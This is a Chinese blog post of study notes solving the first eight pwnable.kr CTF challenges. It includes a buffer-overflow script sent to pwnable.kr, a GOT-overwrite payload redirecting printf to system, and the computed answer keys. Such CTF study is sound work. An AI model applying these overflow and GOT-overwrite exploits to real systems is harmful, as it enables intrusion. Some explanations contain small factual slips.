pwn刷题网站地址(点击直达):

http://pwnable.kr/play.php

文章目录

  • 第一题 fd
  • 第二题:collision
    • 1.首先是char和int数据类型的转换
    • 2.python实现数据打印和传输
  • 第三题 bof-·-
    • 知识点总结
  • 第四题 flag
    • checksec的使用
  • 第五题 passcode
    • 溢出
    • fflush()函数
  • 第六题 random
  • 第七题 input
    • 代码
    • ln -s指令
    • subprocess模块
    • ord函数
    • socket函数
    • os.pipe()
    • TypeError: a bytes-like object is required, not 'str'
  • 第八题leg
    • 知识点记录
    • 解题过程

第一题 fd

题解参考链接:
第一题主要学到的就是关于read的读文件方式
参考这个链接:
链接二
归纳:首先是归于main函数的两个参数的说明:

对于C语言int main(int argc char *argv[])来说,argc保存的是命令行总的参数个数(包括程序名),argv这是传入参数的数组.
举个例子,当你执行: ./test 1 2 3 时,argc = 4 而 argv[0] = test",argv[1] = 1,argv[2] = 2,argv[3] = 3

接下来是对于read函数:

UNIX/Linux平台上,对于控制台(Console)的标准输入,标准输出,标准错误输出,也对应了三个文件描述符(即fd = File Description )。它们分别是0,1,2。也就是说read(0,buf,32)表示从键盘读入至多32个字节到buf中

关于read函数的定义如下:
ssize_t read(int fd, void * buf, size_t count);
它有三个参数,其中fd为指向文件的指针,如果为0则表示从键盘上读取文件,count表示读取字符的长度,read函数会将fd指向的文件传送count个到buf指针,而如果想要从一个文件中去进行读取则可以使用如下语句给fd赋值:

 int fd = open("test.txt", O_RDONLY);//还可以进行一个判断,如果fd小于0表示文件无法打开if(fd < 0){perror("open");exit(1);}

因此第一题的目标是要让fd的值为0即可在键盘上进行输入并读取。

第二题:collision

做题可参考链接
这道题可以学到2个知识点,首先是数据的输入,其次是int和char的转换

1.首先是char和int数据类型的转换

在这道题中我们可以看到它是把一个长度为20的字符串转换为in类型的数据,然后进行5次加减。实际上是因为一个int类型的数据是4个字节,而一个int类型的数据是1个字节,因此在此处20个字节在转换的时候就变成了5个长度为4字节的int型数据。
因此本题的意思就是直接将这20个字符分成5端,然后将每一段相加结果为一个固定值即可满足条件。

2.python实现数据打印和传输

对于要构造一个字符串使得将其转换为5个int类型的数据以后长度相加为一个固定值,这里可以借助python来打印并将数据传送给程序。
对于数据构造,可以像下面这样构造
0x01010101*4+ 0x1DD905E8
但需要注意的是在传送给python的时候需要在每两位之间都加0x表示十六进制,以上数据还可以写成这个格式(注意C语言是小端存储)
‘\x01’*16+\‘\xE8\x05\xD9\x1D’
然而我们知道0x01是不可见字符是无法打印出来的,因此我们可以使用python来进行传送到数据上去,构造python语句如下:

print '\x01' * 16 + '\xE8\x05\xD9\x1D'

终端输入格式:

./col $(python -c "print '\x01' * 16 + '\xE8\x05\xD9\x1D'")

输出结果如下:

通过上面我们可以学习到构造python输入的语句格式如下:

启动的文件名+$(python -c +“执行语句”)

第三题 bof-·-

接下来这道题需要用到缓冲区溢出,因此需要使用IDA(使用gdb也可以)来查看两个数据存放的数据栈才能确保在输入的时候能刚好覆盖并使得原始数据改变。
IDA参考链接:
gdb参考链接:
(gdb调试出现问题解决参考下面的第三点)

知识点总结
  1. 使用pwn进行远程连接和发送数据,通过以上链接可以看到程序的执行都是通过编写一个python的文本并执行来发送数据获得执行结果(执行结束依然是ctrl+C退出)。
    编写一个test.py文本:

//pwn是一个python的库,如果没有安装直接使用pip install pwn就可以进行安装
from pwn import *
key =p32(0xcafebabe)
load=remote("pwnable.kr",9000)
load.send(bytes('a',encoding='UTF-8')*52+key)
load.interactive()

执行过程如下:

  1. 通过以上文本编写我们学到了一个新的函数p32,可以看到我们在给p32赋值以后其输出结果会倒置,因此在上面的文本中我们的赋值key和比较的文本一样。

    而如果不使用p32也可以使用以下语句直接赋值(来源链接),
load.sendline('a'*52+'\xbe\xba\xfe\xca')

可以看到后面覆盖的部分进行了倒置。
接下来介绍p32函数,在网上介绍p32的资料很少,可以点击看看这个链接,文中说道p32表示的是bytes,在上面的测试用例中赋值后其输出格式也可以得到证明。
p32是压缩,输出的是bytes类型
u32是解压缩,对应的是str类型。

以下两段参考链接

bytes实例包含的是原始数据,即8位的无符号值(通常按照ASCII编码标准来显示) str实例包含的是Unicode码点(code
point,也叫作代码点),这些码点与人类语言之中的文本字符相对应

在这篇文章中还介绍了如下内容:

在python这种语言,字符串b开头表示bytes字节,字符串里面的\x代表这是一个16进制,而一位十六进制代表了四位二进制,所以这里两位十六进制代表了8位二进制,也就是说这代表一个字节,最终解释出来是e为什么不直接写b'hello'?这个是为了方便我们理解bytes是由8位值组成。在计算机里面str 等于 bytes, 而bytes却不等于str, 因为计算机bytes可以表示更多的格式,音频、视频、字符串、文档等等


如上面的例子所示,两个输出都是一样的。

  1. 在尝试使用gdb进行调试的时候上面给出的链接可以直接进行调试,但实际调试过程中却发现报错如下:

Reading symbols from ./bof…
(No debugging symbols found in ./bof)

这个的解决方法可以参考这个链接:
链接
也就是需要对编写的c语言文本先进行汇编,执行代码如下:

gcc -c -g bof.c
ls
//此时可以看到程序中生成了一个bof.o文件
gcc bof.o
//此时程序会再生成一个a.out文件,调试这个文件就可以了
gdb a.out

过程如下

  1. gdb执行过程:
    通过上面第三点我们已经能使用gdb将程序执行起来了,接下来就是查看输入数据和要覆盖数据位置的差距了。
//添加断点
b fun
//开始执行
r
//打开反汇编窗口
layout asm
//ni单步执行到图片所值函数位置
ni

然后会出现overflow me:在文本中输入AAAAAAAA并回车,接下来就是查看栈信息的指令

x/30x $esp

对上上面这个指令的讲解在这个帖子中介绍比较详细。

第一个x是gdb指令examine 简写 x/ (n,f,u为可选参数) n:
需要显示的内存单元个数,也就是从当前地址向后显示几个内存单元的内容,一个内存单元的大小由后面的u定义 f:显示格式
x(hex) 按十六进制格式显示变量。
d(decimal) 按十进制格式显示变量。
u(unsigned decimal) 按十进制格式显示无符号整型。
o(octal) 按八进制格式显示变量。
t(binary) 按二进制格式显示变量。
a(address) 按十六进制格式显示变量。
c(char) 按字符格式显示变量。
f(float) 按浮点数格式显示变量 u:每个单元的大小,按字节数来计算。默认是4 bytes。GDB会从指定内存地址开始读取指定字节,并把其当作一个值取出来,并使用格式f来显示
b:1 byte h:2 bytes w:4 bytes g:8 bytes
比如x/3uh 0x54320表示从内存地址0x54320读取内容,h表示以双字节为单位,3表示输出3个单位,u表示按照十六进制显示。

同时在上面指令进行单步运行的时候我们使用的指令是ni表示单步步过,在gdb中ni,si和n,s(s表示单步步入)的区别在于ni用于调试汇编指令,而n用于调试源程序。
然而在执行打印地址信息的命令时又报错没有权限,不行,我要放弃了,真的还是IDA好用呀。
打印esp的指令会显示无法读取该内存,但是打印sp的指令时却能正常打印出来。因此应该不是百度说的动态链接库和静态链接库的问题,但具体是什么原因我也不知道了,可以试试打印每个寄存器的值,然后对比看一下(我得赶作业了,不往下写了),还有就是打印sp的值对比似乎存在问题,可能是此处的deadbeef是main函数的,而实际上两者的值查为52(使用IDA查看)。

第四题 flag

解题链接

文中给了一个安装upx脱壳的工具,但实际上再ubuntu20中直接使用以下命令就可以实现对upx脱壳的安装:

sudo apt install upx

执行指令“upx 需要脱壳文件名”就可以直接进行脱壳了

upx flag

很多文章都写很容易就看出这个是upx的壳,打开二进制文本后可以看到它的文本中直接给出了加的是upx的壳(直接在IDA的hex窗口就可以查看):

在脱壳以后找flag时使用IDA可以快捷键shift+F12查看字符串

checksec的使用

看了一篇文章说可以使用checksec进行查壳,然后下载了checkesec执行命令后报如下问题:

checksec flag
Error: No option selected. Please select an option.

这里应该是由于checksec升级了版本以后,需要在checksec 后添加–file=命令,也就是执行如下命令即可:

checksec --file=flag  //flag是需要测试的文件名字

学到知识点:checksec的使用,upx脱壳

第五题 passcode

解题链接
这个链接写的应该算比较详细了,但是它讲小端序那存在一点问题
学习知识点:
看了上面的链接还是有一些地方不明白,再加上这个链接就完全懂了,点击查看链接
这里实际可以构造多种类型的语句来求解答案,原理是name开辟的100个字节的地址覆盖了passcode1的四字节(这里也是为什么在构造结果的时候第二个数据直接是16进制字符,因为它还属于name的范围支持字符串,而第二个只能是十进制数据的原因了),因此passcode1处可以写入printf/fflush/exit的入口地址,通过got表的原理知道这些地址指向的是对应的printf等函数的调用,而接下来在使用scanf读的时候由于没有添加&符号,因此在读入的时候它实际上会找到passcode1当前对应的值,然后修改那个值对应的地址。也就是利用这一原理,在scanf读入的时候,会将原本是调用printf的got表地址修改成调用system函数的地址,于是在接下来调用printf//fflush/exit对应的got表地址时,实际该地址已经指向了system函数的调用了,也就是不再执行原来的函数而是执行system函数调用。

一句话总结就是:由于got表为了避免重复,对于一些常用函数都指定一个地址来直接存储该函数的调用,而这里由于scanf没有加&,因此会修改passcode1对应值的地址的数据,第一次在输入name时将其指向printf//fflush/exit函数,接下来scanf的时候就直接修改了got表对应的函数调用关系了。
原文:

name和passcode1相差96个字节,但是name开辟了100字节的空间,所以name后4个字节正好可以覆盖到passcode1指针的地址。这四个字节就写入printf/fflush/exit的入口地址
接着四个字节用system的地址覆盖got表的地址,system的地址在login函数中可以查看,地址为0x80485e3。这里覆盖got表的原理就是把passcode1的地址覆盖成fflush或者printf或者exit的地址,然后利用scanf函数把system的地址覆写过去。这样等调用fflush或者printf或者exit的就调用成了system。

构造答案例如:

python -c "print('b'*96 + '\x00\xa0\x04\x08'+'\n'+'134514147'+'\n')" | ./passcode

这里的’\x00\xa0\x04\x08’是printf函数入口地址的小端序0x0804a000。查看在plt表中的函数调用的起始地址指令:

objdump -R passcode

得到如下查询结果

而’134514147’则是构造system函数调用的起始地址的10进制。

溢出

一直想不通为什么明明给name赋值为100了而在输入长度不足100的时候还能覆盖掉passcode1的值呢,实际上这里是因为在读取数据的时候没有加&符号,也就是passcode1的输入实际上修改的是passcode1作为地址指向的值

fflush()函数

该函数有两个参数,
fflush(stdin):该函数功能是清空输入缓冲区,通常是为了确保不影响后面的数据读取(例如在读完一个字符串后紧接着又要读取一个字符,此时应该先执行fflush(stdin)。
fflush(stdout):刷新标准输出缓冲区,把输出缓冲区里的东西打印到标准输出设备上
同时还需要注意此函数仅适用于部分编译器(如VC6),但是并非所有编译器都要支持这个功能(如gcc3.2)。这是一个对C标准的扩充。
接下来直接运行passcode,然而却直接报错:

Segmentation fault (core dumped)
这里百度说这个错误是内存读入的问题,直接将passcode.c复制以后在gcc上运行也可以看到存在这个警告(注意要在linux上运行,在windows上不报错而是会直接退出):

这里可以看出它说的是在读取passcode1和passcode2的时候读取格式错误,这是它的源代码:
也就是实际上如果想要通过scanf读取int类型的数据应该是使用以下语句,而它少了一个&

scanf("%d",&passcode1)

第六题 random

这道题突然一下又变得很简单了呀,只需要两个知识点:

  1. a ^ b ^ a=a ^ a ^ b=b (关于异或的运算)
  2. random=rand(),其中rand函数如果没有种子的赋值,那么它产生的随机数是固定不变的。也就是这里产生的是一个固定不变的伪随机数。
  3. 利用以上两点答案就很简单了,key=伪随机数 ^ 0xdeadbeef

    答案也就是:3039230856

第七题 input

参考链接:

这道题可太痛苦了,好多知识点;

代码
import socket
import os
import subprocess
import timestdinr,stdinw=os.pipe()
stderr,stderw=os.pipe()args=[]
args.append('/home/input2/input')
for i in range(1,100):args.append("a")
args[ord('A')]=""
args[ord('B')]="\x20\x0a\x0d"
args[ord('C')]="8888"  #这里的端口和sd链接的端口应该一样os.write(stdinw,"\x00\x0a\x00\xff")
os.write(stderw,"\x00\x0a\x02\xff")environ={"\xde\xad\xbe\xef":"\xca\xfe\xba\xbe"}
pro=subprocess.Popen(args,stdin=stdinr,stderr=stderr,env=environ)fp=open("\x0a","wb")  #wb表示只读一个二进制文件
fp.write("\x00"*4)
fp.close()sd = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0);
time.sleep(2)#因为socket连接需要一点时间,如果没有等待很可能连接错误,没有这句话的话就得多运行一遍就好了
sd.connect(("127.0.0.1",8888))
sd.send("\xde\xad\xbe\xef")
sd.close()
ln -s指令

ln命令 用来为文件创建链接,链接类型分为硬链接和符号链接两种,默认的链接类型是硬链接。如果要创建符号链接必须使用"-s"选项
硬链接的意思是一个档案可以有多个名称,而软链接的方式则是产生一个特殊的档案,该档案的内容是指向另一个档案的位置。硬链接是存在同一个文件系统中,而软链接却可以跨越不同的文件系统
格式:ln [参数][源文件或目录][目标文件或目录]
例如这里用到的指令:ln -s /home/input2/flag flag
更详细的信息可以点击这个链接
其他操作:

查看建立的链接
ls -l
删除软链接
rm -rf flag

注意如果写成如下形式会删除原来目录下的flag

subprocess模块

该模块的popen函数用于查看用户的输入,其基本格式如下:
subprocess.Popen(‘命令’, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
其中shell=true可省略,stdout=subprocess.PIPE表示当命令存在的时候,把结果写入到stdout管道
stderr=sbuprocess.PIPE 表示当命令不存在的时候,把结果吸入到stderr管道
env表示给环境变量赋值,对应与getenv,获取环境变量值

ord函数

该函数是python中的一个将字符(一个字符)转换为int类型数据的函数

socket函数

该函数的使用格式如下:
socket.socket(socket_family,socket_type,protocal=0)
其中socket_family 可以是 AF_UNIX 或 AF_INET。AF_UNIX用于同一台机器上的进程间通信,AF_INET用于IPV4协议的TCP和UDP。
socket_type 可以是 SOCK_STREAM 或 SOCK_DGRAM。分别表示流套接字和数据报文套接字。

流式套接字
使用这种套接字时,数据在客户端是顺序发送的,并且到达的顺序是一致的。比如你在客户端先发送1,再发送2,那么在服务器端的接收顺序是先接收到1,再接收到2,流式套接字是可靠的,是面向连接的;
数据报套接字
这种套接字是无连接的,数据是打包成数据包发送的,到达的顺序不一定与发送的顺序是一致的,并且数据不一定是可达的,并且接收到的数据还可能出错。

protocol 一般不填,默认值为 0。

os.pipe()

用于创建管道并将信息从一个进程传递给另一个进程,它有一对文件描述符,r和w,一个用于读取数据,一个用于写入数据的,因此在使用时也是成对使用:

stdinr, stdinw = os.pipe()
#写入
os.write(stdinw, "\x00\x0a\x00\xff")
#而要使用写入的值则使用stdinr
TypeError: a bytes-like object is required, not ‘str’

然后在本地运行的时候还报了这个错,而在ssh的链接上则能正常运行。
主要是pwnable的终端用的是python2,而本地我用的python3,而python3对数据类型进行了更细的划分,在这里把数据当成了str类型,而实际上这里传输的是二进制的数据,因此在字符串前加一个b就可以了。

os.write(stdinw,b"\x00\x0a\x00\xff")

第八题leg

参考链接:

知识点记录

  1. pc寄存器用于存储当前欲执行指令的地址,也就是当前正在执行的指令的下一条指令
  2. bx跳转
    这个可以参看此链接

B、BL、BX、BLX 和 BXJ:
分别对应跳转、带链接跳转(带返回的跳转)、跳转并切换指令集、带链接跳转并切换指令集(带返回的跳转并切换指令集)、跳转并转换到 Jazelle 状态

此处的bx表示跳转并切换指令集,根据地址的最低位确定是否状态切换。如果末尾是1则切换到thumb状态,否则保留在asm状态,而需要注意的是在thumb中pc到下一条地址只需要+4,在asm中则是+8
3. lr寄存器
该寄存器有两个用途,一是用来保存子程序返回地址;二是当异常发生时,LR中保存的值等于异常发生时PC的值减4(或者减2)。
同时,当通过BL或BLX指令调用子程序时,硬件自动将子程序返回地址保存在R14寄存器中。在子程序返回时,把LR的值复制到程序计数器PC即可实现子程序返回

解题过程

打开leg.asm可以看到key1、key2、key3都是获取的r0来进行的计算,因此只需要查看对应函数的r0是怎么得到的即可

  1. 首先是key1,可以看到它的结果是pc,而pc的值应该是当前执行指令的下一条指令,在ARM汇编指令中,寄存器pc的值为当前指令地址加8个字节,也就是key1=0x00008cdc+8

  2. 接下来看key2

    红色方框圈出了计算过程,r6=pc+1=0x00008cfc+1,然后对r6执行bx切换,由于r6的二进制为:
    末位为1会切换到thumb状态,因此r3=0x8d04+4,执行adds后r3再次+4,因此r3=0x8d04+4+4=0x8d0c

  3. 接下来是key3
    前面已经提到lr指令存放的是子程序的返回地址,也就是当前指令执行完成后子程序回去继续执行的地方,因此去main中找,也就是0x8d80=key3
    4. 总结
    通过以上过程我已经知道了key1、2、3,因此直接就可以计算出结果了
    key=key1+key2+key3=0x00008cdc+8+0x8d0c+0x8d80=0x1A772=108400

pwnable.kr之Toddler‘s Bottle前八题知识点记录相关推荐

  1. pwnable.kr之Toddler‘s Bottle 9~16题知识点记录

    文章目录 第九题 mistake 总结 答案: 第十题 shellshock env指令 bash指令 解题 第十一题 coin1 findall(pattern, string, flags=0) ...

  2. 【pwnable.kr】Toddler‘s Bottle-[passcode]

    目录导航 进入服务器 下载文件 反编译分析 EXP TIPS 进入服务器 Mommy told me to make a passcode based login system. My initial ...

  3. 【pwnable.kr】Toddler‘s Bottle-[flag]

    目录导航 下载题目文件 二进制分析 获取flag gdb调试 下载题目文件 Papa brought me a packed present! let's open it.Download : htt ...

  4. 【pwnable.kr】Toddler‘s Bottle-[random]

    目录导航 Target & Download Analysis & IDA Debug & writeup TIPS Target & Download Daddy, ...

  5. 【pwnable.kr】Toddler‘s Bottle-[bof]

    目录导航 打开题目审题 nc 命令介绍 获取服务器文件 源代码分析 ELF分析构造payload 解题 打开题目审题 Nana told me that buffer overflow is one ...

  6. 【pwnable.kr】Toddler‘s Bottle-[fd]

    目录导航 打开题目审题 找到突破口 相关c语言知识 源代码分析 找到FLAG 打开题目审题 Mommy! what is a file descriptor in Linux?* try to pla ...

  7. BUUCTF Reverse前五题解题记录

    第一题:easyre 直接找到字符串即可. 第二题:reverse1 这题进入ida找不到main函数,但可以通过shift+F12(我的电脑还要同时按住Fn),查找此程序的string集.如图: 通 ...

  8. pwnable.kr [Toddler's Bottle] - uaf

    Mommy, what is Use After Free bug? ssh uaf@pwnable.kr -p2222 (pw:guest) 根据提示已经可以知道这里需要我们利用漏洞Use-Afte ...

  9. pwnable.kr |Toddler's Bottle |fd

    多次比赛在pwn上面被花式吊打了,最近来学习点pwn的相关知识吧,以外得到一个网站pwnable.kr.提供了各式各样的环境让我们去练习,我自己也将练习的过程和心得体会在博客上一一记录吧.以下是入门题 ...

最新文章

  1. canvas 绘制跟随鼠标移动的线条
  2. MongoDB可视化工具--Robo 3T 使用教程
  3. Amazing 2020
  4. 软件测试—软件测试基础知识—(三)软件测试的原则和(四)软件测试策略
  5. 解密亚马逊Ironman计划:背靠AWS云服务发力AI,对抗谷歌微软
  6. matlab 计算指北角,最优化方法MATLAB4
  7. OfficeScan5.58升级到7.38
  8. python求15 17 23 65 97的因数_32个常用的Python功能介绍
  9. Web前端 色彩设计指南
  10. linux怎么踢普通用户,Linux系统管理员踢用户的方法
  11. maven中resource配置详解
  12. 我的美国CS面试经验分享
  13. 寻找最小生成树的欧拉路径,即一笔画问题
  14. 一张图看懂offsetX, clientX, pageX, screenX的区别
  15. 一次软件测试的电话面试分享
  16. web前端进阶<7>:3d图像翻转效果
  17. datadog windows 环境安装
  18. switch按钮的显示隐藏
  19. Hibernate Annotation
  20. 在天翼云服务器部署程序不能被外网访问的问题

热门文章

  1. Jmeter,压力测试nginx【Cannot assign requested address】
  2. JavaScript/ES6 从this开始理解apply() call() bind()、 class 、箭头函数
  3. Linksys WRT1900ACS刷OpenWrt
  4. 华为存储如何挂载_如何用树莓派搭建简单家用 NAS
  5. https接入我们国标流媒体服务器视频无法播放问题解决
  6. 京东物流“络谜”,讲了一个关于5G的什么故事?
  7. 【QT】《Qt5.9 C++开发指南》在桌面上放个伊芙利特
  8. zbrush 使用dynamic mesh zremesh 进行快速拓扑
  9. 抖音1000个粉丝有什么用?能赚多少钱?
  10. html将字符串转为数值,JavaScript字符串转数字的5种方法及其陷阱